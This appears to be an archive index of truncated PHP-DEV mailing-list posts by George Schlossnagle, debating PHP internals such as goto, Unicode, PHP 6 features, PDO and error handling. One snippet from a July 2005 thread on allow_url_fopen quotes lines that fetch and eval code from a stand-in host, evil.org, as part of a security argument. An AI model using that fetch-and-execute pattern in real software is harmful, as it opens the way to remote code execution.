Re: [PHP-DEV] [RFC] Replace the flex-based scanner with an re2c [1] based lexer

2008-03-03 Thread George Schlossnagle
On Mar 3, 2008, at 2:48 PM, Stanislav Malyshev wrote: Hi! It is clearer but it is not a problem. New features may introduce new dependencies. Having a dependency on libicu while we introduce intl and other features related to unicode or i18n. I would agree if we were talking about 5.2.x. pe

Re: [PHP-DEV] Re: [SOAP] In-memory WSDL cache for ext/soap

2006-04-19 Thread George Schlossnagle
Michael Rasmussen wrote: On Wed, 19 Apr 2006 13:52:13 -0400, Adam Maccabee Trachtenberg wrote: Not if you think the improvements will break the code base because you don't have time to do sufficient testing. I would prefer to avoid regressions in minor releases and would like to use the lon

Re: [PHP-DEV] PHP Embedded

2006-03-14 Thread George Schlossnagle
Sara Golemon wrote: Originally George and Wez were going to be writing this book (and may yet do their own version -- that's up to them). Due to innocuous reasons that I can probably talk about but won't to be on the safe side, I wound up taking over the project (and the ISBN number along with

Re: [PHP-DEV] PHP Embedded

2006-03-14 Thread George Schlossnagle
Johannes Schlueter wrote: Hi Mark, On Tuesday 14 March 2006 20:48, Marco wrote: Is there a way from within the embedded system to destroy all created variables so that the environment is the same as when it was started or do we need to shutdown the embedded engine and start it up again?

Re: [PHP-DEV] Dead C Scrolls - Missing Code for Writing New Extensions without recompiling PHP

2006-02-10 Thread George Schlossnagle
Andrew Mather wrote: i)a walkthrough of the exact steps + sample code to write an extension without requiring re-compilation of Php and without access to Php source code ii) as above but with access to Php source code You're clearly missing the -devel RPM that installs the ne

[PHP-DEV] 2006 OSCON Reminder

2006-02-10 Thread George Schlossnagle
Just as a reminder to all interested parties: the submission deadline for 2006 O'Reilly Open Source Convention is coming to a close. All submissions must be in by Monday, February 13th 23:59 PST to be considered. Proposals can be submitted online at http://conferences.oreillynet.com/cs/os2006

Re: [PHP-DEV] Re: Labeled Breaks (not the G-word)

2005-11-27 Thread George Schlossnagle
me 3. goto is good. Wez Furlong wrote: me also On 11/27/05, Edin Kadribasic <[EMAIL PROTECTED]> wrote: Ilia Alshanetsky wrote: If it comes down to count of +1/-1 about this feature, I am +1 for unrestricted forward/backward jumps and -1 for restricted version. I agree wi

Re: AW: AW: [PHP-DEV] dropping curly braces

2005-11-20 Thread George Schlossnagle
Ian P. Christian wrote: On Sunday 20 November 2005 22:27, Ian P. Christian wrote: If this change included a simple sed command that could be applied to code to fix 'legacy' code Sorry, should have included this... For example: $ cat test $ sed -e 's/$\([a-zA-Z][a-zA-Z0-9]*\){\(

Re: [PHP-DEV] Re: Are there plans to support Mysql 5 soon?

2005-10-26 Thread George Schlossnagle
Oliver Grätz wrote: Do you read the posts you're commenting on? I said there _were_ (there are not anymore) problems with PDO betas on _Windows_ systems (that was a PECL build for PHP 5.0.3). This was not a complaint on anything and I didn't complain then because it was beta and not meant to be

Re: [PHP-DEV] Unicode Implementation

2005-10-07 Thread George Schlossnagle
On Oct 7, 2005, at 5:41 PM, Rasmus Lerdorf wrote: Ilia Alshanetsky wrote: George Schlossnagle wrote: What is wrong with PHP 5.1? People don't *have* to upgrade to the unicode enabled PHP if they don't want to. And it would probably be "nice" to have that mode for so

Re: [PHP-DEV] Unicode Implementation

2005-10-07 Thread George Schlossnagle
On Oct 7, 2005, at 5:05 PM, Derick Rethans wrote: On Fri, 7 Oct 2005, Rasmus Lerdorf wrote: Which is why we need the unicode=off switch. I don't think there is any way we can make Unicode PHP as fast as non-Unicode PHP. For people who need Unicode support, Unicode PHP will be faster an

Re: [PHP-DEV] Comment on Bug #30153: FATAL erealloc() error when using gzinflate()

2005-10-04 Thread George Schlossnagle
On Oct 4, 2005, at 11:50 AM, Tim Nufire wrote: Ramus, Thanks for the response. Unfortunately, I don't have any great ideas on how to patch this and for now have just stopped using gzinflate :-/ Is there a way to reopen bug 30153? That description of this issue is pretty good and, even if

Re: [PHP-DEV] timezones & date() breakage

2005-09-28 Thread George Schlossnagle
On Sep 28, 2005, at 12:46 PM, Derick Rethans wrote: On Wed, 28 Sep 2005, George Schlossnagle wrote: Carrying on the stupid questions: Is it possible to make a better 'guess' in the case that there are name-collisions or missing names and no ini setting is set? Perhaps some

Re: [PHP-DEV] timezones & date() breakage

2005-09-28 Thread George Schlossnagle
On Sep 28, 2005, at 8:54 AM, Derick Rethans wrote: On Wed, 28 Sep 2005, Steph wrote: This is probably a stupid question, but why isn't there a default setting? And why can't the missing default setting be set by the system date () data? That's exactly what I was trying to do, except th

Re: [PHP-DEV] Re: Bogusing bot (Was: [PHP-DEV] Reference handlingchange and PHP 4.4.0)

2005-09-15 Thread George Schlossnagle
On Sep 15, 2005, at 9:21 AM, Leigh Makewell wrote: If you don't know why it's wrong to tell them they are stupid, and can't be bother spending an extra 10 seconds formulating a respectable response instead, then you are the wrong person for the job. A cursory survey of the bugs db sugge

Re: [PHP-DEV] Bogusing bot (Was: [PHP-DEV] Reference handling change and PHP 4.4.0)

2005-09-15 Thread George Schlossnagle
On Sep 15, 2005, at 7:25 AM, Jani Taskinen wrote: I can count the times I've been thanked personally with one hand. Most of the time people send me hate email. :) Thank you, Jani, for all the (mostly) thankless work. George -- PHP Internals - PHP Runtime Development Mailing List To

Re: [PHP-DEV] omitting T_CLOSE_TAG

2005-08-29 Thread George Schlossnagle
On Aug 29, 2005, at 2:38 PM, Gabor Hojtsy wrote: Hi, I am searching for some evidence in the PHP source code that the possibility of omitting the closing PHP tag is absolutely intentional, and in fact part of the language syntax, and therefore it is going to be supported indefinitely. Diggi

Re: [PHP-DEV] type hinting throwing a fatal error

2005-08-22 Thread George Schlossnagle
On Aug 22, 2005, at 4:02 PM, Derick Rethans wrote: On Mon, 22 Aug 2005, George Schlossnagle wrote: I'm talking about allowing type hints to be trappable by users, without complicating them with exceptions. I'm proposing a new error level, which behaves like E_ERROR, except

Re: [PHP-DEV] type hinting throwing a fatal error

2005-08-22 Thread George Schlossnagle
On Aug 22, 2005, at 3:50 PM, Zeev Suraski wrote: At 20:53 22/08/2005, Marcus Boerger wrote: > So in that case, the implementation in zend_error_cb() should simply call > the user error handler if it's available, or treat it as if it's E_ERROR if > there is no user error handler. Isn't an

Re: [PHP-DEV] Re: PHP 6.0 Wishlist

2005-08-22 Thread George Schlossnagle
] http://www.zend.com/ +972-3-6139665 ext.115 -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php George Schlossnagle -- Vice President of Engineering -- OmniTI Computer Consulting -- http://www.omniti.com

Re: [PHP-DEV] Simplexml and xml namespaces

2005-08-18 Thread George Schlossnagle
On Aug 18, 2005, at 10:43 PM, Rasmus Lerdorf wrote: Or, alternatively, have a separate arrays: ["title"]=> array(2) { [0] => string(6) "Title1" [1] => string(6) "Title2" } ["media:title"]=>string(11) "Media Title" The latter is actually what I was (naiively) expecting. I thi

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-15 Thread George Schlossnagle
On Aug 15, 2005, at 2:52 PM, sebastian wrote: W4: Better lambda/anonymous functions and debugging for them. Consider Perl's anonymous functions which disappear as the references to them disappear. See the create_function() docs for notes about "memory leaks." Well, Perl subroutines are

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-15 Thread George Schlossnagle
On Aug 15, 2005, at 11:52 AM, Zeev Suraski wrote: That's exactly what I was saying (in another part of the email). It doesn't work in reverse order though - being on one of these lists does usually mean that the developer is more 'hardcore' than others. Have you seen Harold and Kumar G

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-15 Thread George Schlossnagle
On Aug 15, 2005, at 11:38 AM, Zeev Suraski wrote: (*) Based on the fact php-general@ has 787 subscribers and current estimates at the amount of PHP developers worldwide range between 500,000 to 2,000,000 developers. I actually got the opening number wrong - it's 99.84%, not 98.5%. Sorry.

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-15 Thread George Schlossnagle
On Aug 15, 2005, at 10:18 AM, Zeev Suraski wrote: I agree that ensuring a migration path is critical. Wez and I were discussing this in the car this morning, and short of magic_quoutes_runtime, they all seemed like they were straightforward to handle through am include (except for the paramete

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-15 Thread George Schlossnagle
On Aug 15, 2005, at 2:29 AM, Jani Taskinen wrote: On Sun, 14 Aug 2005, George Schlossnagle wrote: On Aug 14, 2005, at 3:37 PM, Jani Taskinen wrote: On Sun, 14 Aug 2005, Ilia Alshanetsky wrote: If apc comes bundled then it includes apc_store() and apc_fetch () this is pretty much

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-15 Thread George Schlossnagle
On Aug 15, 2005, at 5:05 AM, Zeev Suraski wrote: That's an excellent response. If one percent of the energy put into the 'yay parade' and the 'let's break this too!' parade were invested in coming up with a clean upgrade path, I wouldn't have had to write the response I wrote. Would i

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-14 Thread George Schlossnagle
On Aug 14, 2005, at 3:37 PM, Jani Taskinen wrote: On Sun, 14 Aug 2005, Ilia Alshanetsky wrote: If apc comes bundled then it includes apc_store() and apc_fetch() this is pretty much $_MEMORY with a few tweaks. Yes, but that is restricted to one server installations. I need such a

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-14 Thread George Schlossnagle
On Aug 14, 2005, at 1:24 PM, Al Baker wrote: An embedded opcode cache I think is also essential and the surrounding $_MEMORY sounds perfect to me. All Java guys (yeah I know PHP != Java) say PHP isn't ready for the enterprise because it can't share information between processes other than ar

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-14 Thread George Schlossnagle
On Aug 14, 2005, at 1:08 PM, Lukas Smith wrote: As for removing register globals, a simple auto prepend will get you register globals back, same goes for magic quotes. But moving this stuff into userland will force people to take another hard look at their code. Also a good thing for PH

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-13 Thread George Schlossnagle
On Aug 13, 2005, at 9:06 PM, Jani Taskinen wrote: On Sat, 13 Aug 2005, George Schlossnagle wrote: On Aug 13, 2005, at 5:08 AM, Ondrej Ivani wrote: 9. Shared memory storage for variables with transparent access. (superglobal array?) -1. This is hard to make consistent across all

Re: [PHP-DEV] Re: PHP 6.0 Wishlist

2005-08-13 Thread George Schlossnagle
On Aug 13, 2005, at 5:57 PM, Andrey Hristov wrote: George Schlossnagle wrote: On Aug 13, 2005, at 5:49 PM, Andrey Hristov wrote: George Schlossnagle wrote: On Aug 13, 2005, at 11:46 AM, Matthew Weier O'Phinney wrote: * Christian Schneider <[EMAIL PROTECTED]> : 9. Named

Re: [PHP-DEV] Re: PHP 6.0 Wishlist

2005-08-13 Thread George Schlossnagle
On Aug 13, 2005, at 5:49 PM, Andrey Hristov wrote: George Schlossnagle wrote: On Aug 13, 2005, at 11:46 AM, Matthew Weier O'Phinney wrote: * Christian Schneider <[EMAIL PROTECTED]> : 9. Named parameters. Preferred way would be via array()-less array collation as we are al

Re: [PHP-DEV] Re: PHP 6.0 Wishlist

2005-08-13 Thread George Schlossnagle
On Aug 13, 2005, at 11:46 AM, Matthew Weier O'Phinney wrote: * Christian Schneider <[EMAIL PROTECTED]> : 9. Named parameters. Preferred way would be via array()-less array collation as we are already using this in our production system ;-) : foo('id' => 42, 'name' => "foo"); +1 -- this is

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-13 Thread George Schlossnagle
On Aug 13, 2005, at 3:21 PM, Derick Rethans wrote: On Sat, 13 Aug 2005, George Schlossnagle wrote: Good. That function would be evil (imho). Given that you can't access super-globals as variable-variables, I think that having to really get at _RAW_GET[] will make it much

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-13 Thread George Schlossnagle
On Aug 13, 2005, at 8:19 AM, Derick Rethans wrote: On Fri, 12 Aug 2005, steve roussey wrote: 4. Include an opcode cache by default. A lot of work has gone into pecl/apc recently, but I am not hung up on which one goes in. I have no karma to +1, but would if I could. It would be wonder

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-13 Thread George Schlossnagle
On Aug 13, 2005, at 8:14 AM, Derick Rethans wrote: On Fri, 12 Aug 2005, George Schlossnagle wrote: I wrote up the following spec for this extension: http://files.derickrethans.nl/filter_extension.html Where's the part about an application swapping back for the raw arrays (as oppos

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-13 Thread George Schlossnagle
On Aug 13, 2005, at 5:08 AM, Ondrej Ivanič wrote: 9. Shared memory storage for variables with transparent access. (superglobal array?) -1. This is hard to make consistent across all platforms, and will break instantly when you go past 1 machine, making it confusing and of marginal usag

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-13 Thread George Schlossnagle
On Aug 13, 2005, at 2:29 AM, Ilia Alshanetsky wrote: Marcus Boerger wrote: 9. __toString) everywhere, but i already said i'll take care of that unless i am being held back. So now go for that or live with the fact that php is meant to generate html pages which is text output. Thus sooner o

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-12 Thread George Schlossnagle
On Aug 12, 2005, at 2:19 PM, Derick Rethans wrote: On Fri, 12 Aug 2005, George Schlossnagle wrote: 3. Add input filter extension which will include a mechanism for application developers to very easily turn it off which would swap the raw GPC arrays back in case the site had it

Re: [PHP-DEV] PHP 6.0 Wishlist

2005-08-12 Thread George Schlossnagle
On Aug 12, 2005, at 1:48 PM, Rasmus Lerdorf wrote: Since we are breaking a lot of stuff in 6.0, at least with Unicode_semantics=On I am wondering if it may not be time to break some more stuff and do a bit of spring cleaning. It would mean many apps would need some work to work on PHP 6, bu

Re: [PHP-DEV] Re: PHP Unicode support design document

2005-08-10 Thread George Schlossnagle
On Aug 10, 2005, at 10:30 AM, Rasmus Lerdorf wrote: Yeah, print/echo was just a way of describing the underlying output stuff. It wasn't meant to be taken literally. Given the __toString fiasco, it's understandable that this would be confusing though. George -- PHP Internals - PHP Runti

Re: [PHP-DEV] GCOV

2005-08-09 Thread George Schlossnagle
evelopment Mailing List To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php George Schlossnagle -- Vice President of Engineering -- OmniTI Computer Consulting -- http://www.omniti.com

Re: [PHP-DEV] PHP 5.5 or 6.0

2005-08-09 Thread George Schlossnagle
On Aug 9, 2005, at 3:25 PM, Andi Gutmans wrote: I think Unicode warrants a major version. I'd go with PHP 6 and aim to release it before Perl 6 :) From judging by a Perl 6 talk we attended at OSCON, that might actually be a realistic goal. I think that's more than a 'might'. George -- P

Re: [PHP-DEV] Moving to PHP5.1 and Apache 2.2 next year, need help

2005-08-09 Thread George Schlossnagle
On Aug 9, 2005, at 3:12 PM, steve roussey wrote: On 8/8/05, Rasmus Lerdorf <[EMAIL PROTECTED]> wrote: 3. Problems with thread-safety of modules You missed the most serious one. Thread safety problems in random libraries you link in and we have absolutely no control over those. OK, I am

Re: [PHP-DEV] Re: RC1, instanceof?

2005-08-09 Thread George Schlossnagle
On Aug 9, 2005, at 5:56 AM, Pierre-Alain Joye wrote: On Tue, 9 Aug 2005 10:15:15 +0200 (CEST) [EMAIL PROTECTED] (Derick Rethans) wrote: On Tue, 9 Aug 2005, Pierre-Alain Joye wrote: This technique is already frequently used to cope with lazy loaded code, which even with cached code compile

Re: [PHP-DEV] Re: SOAP SSL support doesn't work when allow_url_fopen is turned off

2005-07-28 Thread George Schlossnagle
On Jul 28, 2005, at 9:49 AM, Ilia Alshanetsky wrote: sure: eval('file_get_contents("http://evil.org";);'); Ok, but there is nothing (allow_url_fopen does not work here) preventing me from doing similar via: $fp = fsockopen("evil.org", 80); $fp = fwrite($fp, "GET /evil_code.txt HTTP/1.0\

Re: [PHP-DEV] Re: SOAP SSL support doesn't work when allow_url_fopen is turned off

2005-07-28 Thread George Schlossnagle
On Jul 28, 2005, at 9:28 AM, Zeev Suraski wrote: At 04:21 PM 7/28/2005, Ilia Alshanetsky wrote: Zeev Suraski wrote: At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote: Are you therefore saying SOAP support should be 100% diabled when allow_url_fopen is off? SOAP is not disabled, simply pr

Re: [PHP-DEV] Re: SOAP SSL support doesn't work when allow_url_fopen is turned off

2005-07-28 Thread George Schlossnagle
On Jul 28, 2005, at 9:21 AM, Ilia Alshanetsky wrote: Zeev Suraski wrote: At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote: Are you therefore saying SOAP support should be 100% diabled when allow_url_fopen is off? SOAP is not disabled, simply prevented from querying remote data sources di

Re: [PHP-DEV] Re: SOAP SSL support doesn't work when allow_url_fopen is turned off

2005-07-28 Thread George Schlossnagle
On Jul 28, 2005, at 9:10 AM, Zeev Suraski wrote: At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote: Are you therefore saying SOAP support should be 100% diabled when allow_url_fopen is off? SOAP is not disabled, simply prevented from querying remote data sources directly. What exactly ca

Re: [PHP-DEV] mail() into separate extension?

2005-07-18 Thread George Schlossnagle
On Jul 18, 2005, at 10:30 AM, Andrew Yochum wrote: On Jul 18, 2005, at 10:15 AM, George Schlossnagle wrote: Drop-in replacements are evil. If you want to do this, you should just create a new function that does what you need to do and name it differently. If you're dead-set on do

Re: [PHP-DEV] mail() into separate extension?

2005-07-18 Thread George Schlossnagle
to prepare the patch? -- .''`.Piotr Roszatycki, Netia SA : :' :mailto:[EMAIL PROTECTED] `. `' mailto:[EMAIL PROTECTED] `- -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php George Schlossnagle -- Vice Pre

Re: [PHP-DEV] date/timezone classes

2005-07-07 Thread George Schlossnagle
On Jul 7, 2005, at 7:56 PM, Andi Gutmans wrote: It would look the following: $timeZone->getName(); vs. date_timezone_get($date); $date->getOffset(); vs. date_offset_get($date); Personally, unrelated to OO I think it's a nicer and cleaner way of exposing such an API. It would also make it e

Re: [PHP-DEV] In regards to E_STRICT and PHP5

2005-06-16 Thread George Schlossnagle
On Jun 16, 2005, at 10:15 PM, boots wrote: These answers make me feel as if maybe just a little bit you guys are looking down your nose at me without really considering the basis of the issue I am trying to raise. I know the tools well enough to use E_ALL -- thanks. I'm concerned about end user

Re: [PHP-DEV] In regards to E_STRICT and PHP5

2005-06-16 Thread George Schlossnagle
On Jun 16, 2005, at 2:50 PM, boots wrote: --- Andi Gutmans <[EMAIL PROTECTED]> wrote: You missed the point of E_STRICT. I introduced it as an E_PEDANTIC. That was the whole idea. To be pedantic about code that works, not to warn about code that doesn't work (which is for higher warning leve

Re: [PHP-DEV] PHP 5.1

2005-06-09 Thread George Schlossnagle
On Jun 9, 2005, at 6:51 PM, Andi Gutmans wrote: Hi, Finally catching up with all the million comments. Definitely a way to get distracted from real work :) I don't want to get distracted from what I consider should be the main objective and bigger issues than yes to one or another featur

Re: [PHP-DEV] PHP 5.1

2005-06-07 Thread George Schlossnagle
On Jun 7, 2005, at 8:55 AM, Stanislav Malyshev wrote: GS>> b) a problem that self-rectifies at the end of the request (as per GS>>Derick's discussion). So you basically is saying "let's ignore memory leaks". Well, point a) implied that it's a solvable problem, at least as much as it is w

Re: [PHP-DEV] PHP 5.1

2005-06-07 Thread George Schlossnagle
On Jun 7, 2005, at 8:46 AM, Sascha Schumann wrote: As for my own example, many state machines make extensive use of goto to avoid recursive calls. Goto is not required for that. State machines such as the following You conveniently ignored the part of my mail where I noted that

Re: [PHP-DEV] PHP 5.1

2005-06-07 Thread George Schlossnagle
On Jun 7, 2005, at 8:43 AM, Stanislav Malyshev wrote: GS>>Perl's goto specifically forbids jumping into control structures that GS>>require intialization (for instance, foreach()). That seems like a GS>>sensible limitation to me. jumping out is no good either. Because of the memory issu

Re: [PHP-DEV] PHP 5.1

2005-06-07 Thread George Schlossnagle
On Jun 7, 2005, at 8:25 AM, Stanislav Malyshev wrote: GB>>control structures are not useful. This is not the case in PHP. A GB>>simple example in the manual showing proper usage of break/ continue GB>>and warning to only use goto as a last resort would be sufficient for GB>>discouraging ne

Re: [PHP-DEV] PHP 5.1

2005-06-07 Thread George Schlossnagle
On Jun 7, 2005, at 8:12 AM, Stanislav Malyshev wrote: GS>>And yet it exists and people use it productively - so you've GS>>successfully undermined your own argument (and Perl's goto is far more GS>>flexible|evil than the one proposed for PHP). Care to give example where it is really needed a

Re: [PHP-DEV] PHP 5.1

2005-06-07 Thread George Schlossnagle
On Jun 7, 2005, at 8:08 AM, Stanislav Malyshev wrote: AH>>Does C suffer from having goto? Does C suffer from being able to freely convert any type to any and access any memory location? Should we add these features too? Funny, I was just talking with Andi about that at dinner the other

Re: [PHP-DEV] PHP 5.1

2005-06-07 Thread George Schlossnagle
On Jun 7, 2005, at 8:00 AM, Stanislav Malyshev wrote: GS>>I don't think I've ever heard Perl or C maligned on the basis of their GS>>support for goto. Perhaps I just travel in the wrong circles. I didn't ever saw any need in Perl goto - except for goto& construct which isn't goto at all.

Re: [PHP-DEV] PHP 5.1

2005-06-07 Thread George Schlossnagle
On Jun 7, 2005, at 7:37 AM, Nelson Menezes wrote: Goto is a plainly bad idea. Yes it has its uses, but 99% of the time it would just be completely, mercilessly, utterly abused. Its not good or bad, just a language construct. Its how you use it. I agree. I just think it will be used badly

Re: [PHP-DEV] PHP 5.1

2005-06-06 Thread George Schlossnagle
On Jun 6, 2005, at 1:46 PM, Sebastian Bergmann wrote: George Schlossnagle wrote: Why do you need to use OO to use exceptions? Maybe "throw new Exception;" is already too much OO for somebody's mother because you create a new object of the Exception class here. I'

Re: [PHP-DEV] PHP 5.1

2005-06-06 Thread George Schlossnagle
On Jun 6, 2005, at 9:28 AM, Derick Rethans wrote: On Mon, 6 Jun 2005, Stanislav Malyshev wrote: MM>>Exceptions ? No thank you, even worse then continue/break.. Why is it worse? That's something that I don't understand - why people think exceptions, which have clear structured mechanism of

Re: [PHP-DEV] PHP 5.1

2005-06-06 Thread George Schlossnagle
On Jun 6, 2005, at 3:09 AM, Derick Rethans wrote: On Mon, 6 Jun 2005, Jani Taskinen wrote: And the much needed goto for the next one (5.2/5.5/6.0 or whatever it will be) ? So +1 from me. (wasn't there a patch for this already somewhere?) For me too: +1. +1 here as well. George --

[PHP-DEV] php5 - target for migration or new innovation (was: Re: [PHP-DEV] Re: References Problem Patch)

2005-05-30 Thread George Schlossnagle
On May 30, 2005, at 7:15 PM, Andi Gutmans wrote: Not sure who you're talking to but I know a large amount of companies (some of them huge) who have based their development on PHP 5. Can you share (or guess at) the skew of companies migrating existing apps from PHP4 to PHP5 versus the num

Re: [PHP-DEV] Patch for php_error_cb

2005-05-17 Thread George Schlossnagle
On May 17, 2005, at 8:04 AM, Blake Matheny wrote: Is there anything incorrect/wrong with the solution I proposed? I realize that a custom extension would also work, but there are several advantages to doing it the way I implemented it - No need to add an extension every time you upgrade PHP Yo

Re: [PHP-DEV] Patch for php_error_cb

2005-05-16 Thread George Schlossnagle
On May 16, 2005, at 3:16 PM, Blake Matheny wrote: Attached is a small patch that allows for a custom error handler to be used instead of php_log_err. This is useful for custom logging of error types that can't be handled with a user-space error handler (such as E_ERROR, E_PARSE, etc.). In or

Re: [PHP-DEV] annoying DOM limitation

2005-05-13 Thread George Schlossnagle
On May 13, 2005, at 5:29 PM, Jared Williams wrote: While hacking on a PHPDoc -> WSDL generator, I ran into an annoying limitation in the dom extension: you can't add a namespace to a dom document unless you have an element in that namespace. Why might you want to do this? Well, a common thing is

[PHP-DEV] annoying DOM limitation

2005-05-13 Thread George Schlossnagle
ow this isn't part of the Dom spec, but it's incredibly useful. Does anyone (Rob, Chegru) mind me adding it to HEAD? George George Schlossnagle -- Vice President of Engineering -- OmniTI Computer Consulting -- http://www.omniti.com

Re: [PHP-DEV] Re: new overloading feature?

2005-05-09 Thread George Schlossnagle
[EMAIL PROTECTED] wrote: [EMAIL PROTECTED] writes: Leonardo Pedretti <[EMAIL PROTECTED]> writes: I would like (for code cleanliness purposes) to make 'new' return a reference to an already created object under certain circumstances without using a factory, is it possible? A number of months

Re: [PHP-DEV] Attributes support proposal

2005-04-18 Thread George Schlossnagle
On Apr 18, 2005, at 8:26 AM, Wez Furlong wrote: From a technical viewpoint, how do these attributes affect the class? Are they simply no-ops that are tagged and made available via the reflection API? How does this really help improve PHP? I know it sounds cool, but so does recording phpdoc commen

Re: [PHP-DEV] Re: Please test PDO

2005-02-15 Thread George Schlossnagle
On Feb 15, 2005, at 2:57 AM, Lester Caine wrote: Christian Schneider wrote: Andi Gutmans wrote: PHP has long suffered from poor implementations of some of the DB extensions and good implementations of others. PDO is a good opportunity to unify the extensions and have a common code base so that b

Re: [PHP-DEV] Anyone against requiring libxml2 2.6.x for PHP5.1?

2005-02-15 Thread George Schlossnagle
On Feb 15, 2005, at 1:36 AM, D.Walsh wrote: libxzml2 is a rather simple install so upgrading it in the Mac world is a simple build however, those dependent on RPM's, perhaps you should consider something that is more commonly found. If at all possible, I should not have to upgrade the libraries t

Re: [PHP-DEV] php suggestion

2005-02-14 Thread George Schlossnagle
I know this concept looks a bit strange but just wanted to hear oppinions from the experts... :) This concept looks strange (and non-standard - do any other languages support this semantic?). It doesn't save you much typing either. George -- PHP Internals - PHP Runtime Development Mailing List

Re: [PHP-DEV] Re: Please test PDO

2005-02-12 Thread George Schlossnagle
On Feb 12, 2005, at 5:01 AM, Lester Caine wrote: Derick Rethans wrote: 1. ADOdb has *nothing* to do with the PHP project It would not exist without it. No reason why it could not be part. Plenty of things couldn't exist without PHP. That doesn't mean that PHP needs to hold still for their sake, o

Re: [PHP-DEV] Autoboxing in php 5.1

2005-02-12 Thread George Schlossnagle
On Feb 12, 2005, at 11:35 AM, Andi Gutmans wrote: I think the right way to implement this is in a development tools. There is other data that needs to be gathered for creating a WSDL file such as URI, authentication (if required) etc. Seems silly to have to use a development tool to do this. On

Re: [PHP-DEV] Re: How to unload a class

2005-02-11 Thread George Schlossnagle
On Feb 11, 2005, at 2:25 AM, Markus Fischer wrote: Sara Golemon wrote: What would happen to the instanciated objects? Only allowing class unloading for classes that have no instantiated objects would be an option. And how would you know if it'd been instantiated? Even if you recursively looped th

Re: [PHP-DEV] Re: intercepting function calls

2005-02-11 Thread George Schlossnagle
On Feb 11, 2005, at 3:09 AM, Derick Rethans wrote: ; I really need the statement call callback for single stepping through code. Seconded. I use something similar. The statement call is really useful. The fcall_(begin|end) hooks I never use though. George -- PHP Internals - PHP Runtime Develo

Re: [PHP-DEV] Re: Announce: PDO beta releases

2005-02-09 Thread George Schlossnagle
On Feb 9, 2005, at 7:45 PM, Marc Richards wrote: Wez Furlong wrote: You may have noticed my "drive-by release" of various different PDO packages tonight/this morning. This is stage one of the "PDO push". Are there plans for a mysqli driver for PDO? I searched around but I couldn't seem to find an

Re: [PHP-DEV] Re: intercepting function calls

2005-02-09 Thread George Schlossnagle
On Feb 9, 2005, at 10:57 AM, Sara Golemon wrote: Is it possible to intercept a function call (user space or built-in) in the Zend Engine and execute user space code before/after the function call? Yes, you can do this by way of a Zend extension (not a PHP extension mind you). The parts of Zend/ze

Re: [PHP-DEV] FTP scripts and project

2005-02-08 Thread George Schlossnagle
Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php George Schlossnagle -- Prinicipal Consultant -- OmniTI Computer Consulting -- http://www.omniti.com -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP-DEV] PHP 5.1

2005-02-08 Thread George Schlossnagle
On Feb 8, 2005, at 1:16 AM, Adam Maccabee Trachtenberg wrote: On Mon, 7 Feb 2005, Andrei Zmievski wrote: Hehe... I do hope this is a joke (it would seem rather closed-minded, otherwise). I don't think anybody would have bothered if anyone posted PHP code on e.g. comp.lang.c++(.moderated), in order

Re: [PHP-DEV] PHP 5.1

2005-02-06 Thread George Schlossnagle
On Feb 6, 2005, at 6:51 PM, Edin Kadribasic wrote: On Sunday, Feb 6, 2005, at 23:07 Europe/Copenhagen, George Schlossnagle wrote: I disagree. The fact that XSS attacks remain one of the largest issues plaguing large so-called enterprise sites points to data validation being a hard thing to

Re: [PHP-DEV] PHP 5.1

2005-02-06 Thread George Schlossnagle
On Feb 6, 2005, at 2:14 PM, Christian Schneider wrote: Benj Carson wrote: My opinion may not carry any weight here, as I'm just a user of PHP, but this discussion has given me a few ideas. As Ron and Val (and others) have pointed out, there's no way for PHP to know how an *input* value is going

Re: [PHP-DEV] PHP 5.1

2005-02-06 Thread George Schlossnagle
On Feb 6, 2005, at 5:02 PM, David Zülke wrote: Guys, I'm sure I'll annoy the heck out of some on this list, but there's still the question whether PHP should prevent any case of dumbness on the developer side. Whatever we do, some developers out there will be way more idiotic than we can ever im

Re: [PHP-DEV] PHP 5.1

2005-02-03 Thread George Schlossnagle
On Feb 3, 2005, at 5:51 PM, Terje Slettebø wrote: From: "George Schlossnagle" <[EMAIL PROTECTED]> By the way, I have your book ("Advanced PHP Programming"), which I found very good. :) I've also recently got Andi Gutmans, Stig S. Bakken and Derick Rethans book, &

Re: [PHP-DEV] PHP 5.1

2005-02-03 Thread George Schlossnagle
On Feb 3, 2005, at 1:58 PM, Terje Slettebø wrote: Hm, I'm surprised by this response from someone who's name I recognise as an active PHP contributor. The answer strikes me as either arrogant and/or ignorant (note: I'm not saying you are that, but that's how the reply comes across, given what wha

Re: [PHP-DEV] Re: PHP 5.1

2005-02-01 Thread George Schlossnagle
On Feb 1, 2005, at 5:36 PM, Andi Gutmans wrote: When you mean support, basically it's just adding serialize/unserialize callbacks right? Doesn't mean all extensions need to implement them? Those can be 'bugfixes' in point releases? George -- PHP Internals - PHP Runtime Development Mailing List T

Re: [PHP-DEV] PHP 5.1

2005-02-01 Thread George Schlossnagle
On Feb 1, 2005, at 3:20 PM, Stephan Schmidt wrote: Hi, Andi Gutmans schrieb: I believe both PDO and Date should be included in the default distro. I'd like to see xmlreader be bundled as well. It's fast, easy to use and still very powerful. +1 George -- PHP Internals - PHP Runtime Development Mail

Re: [PHP-DEV] Why we don't like PHP /

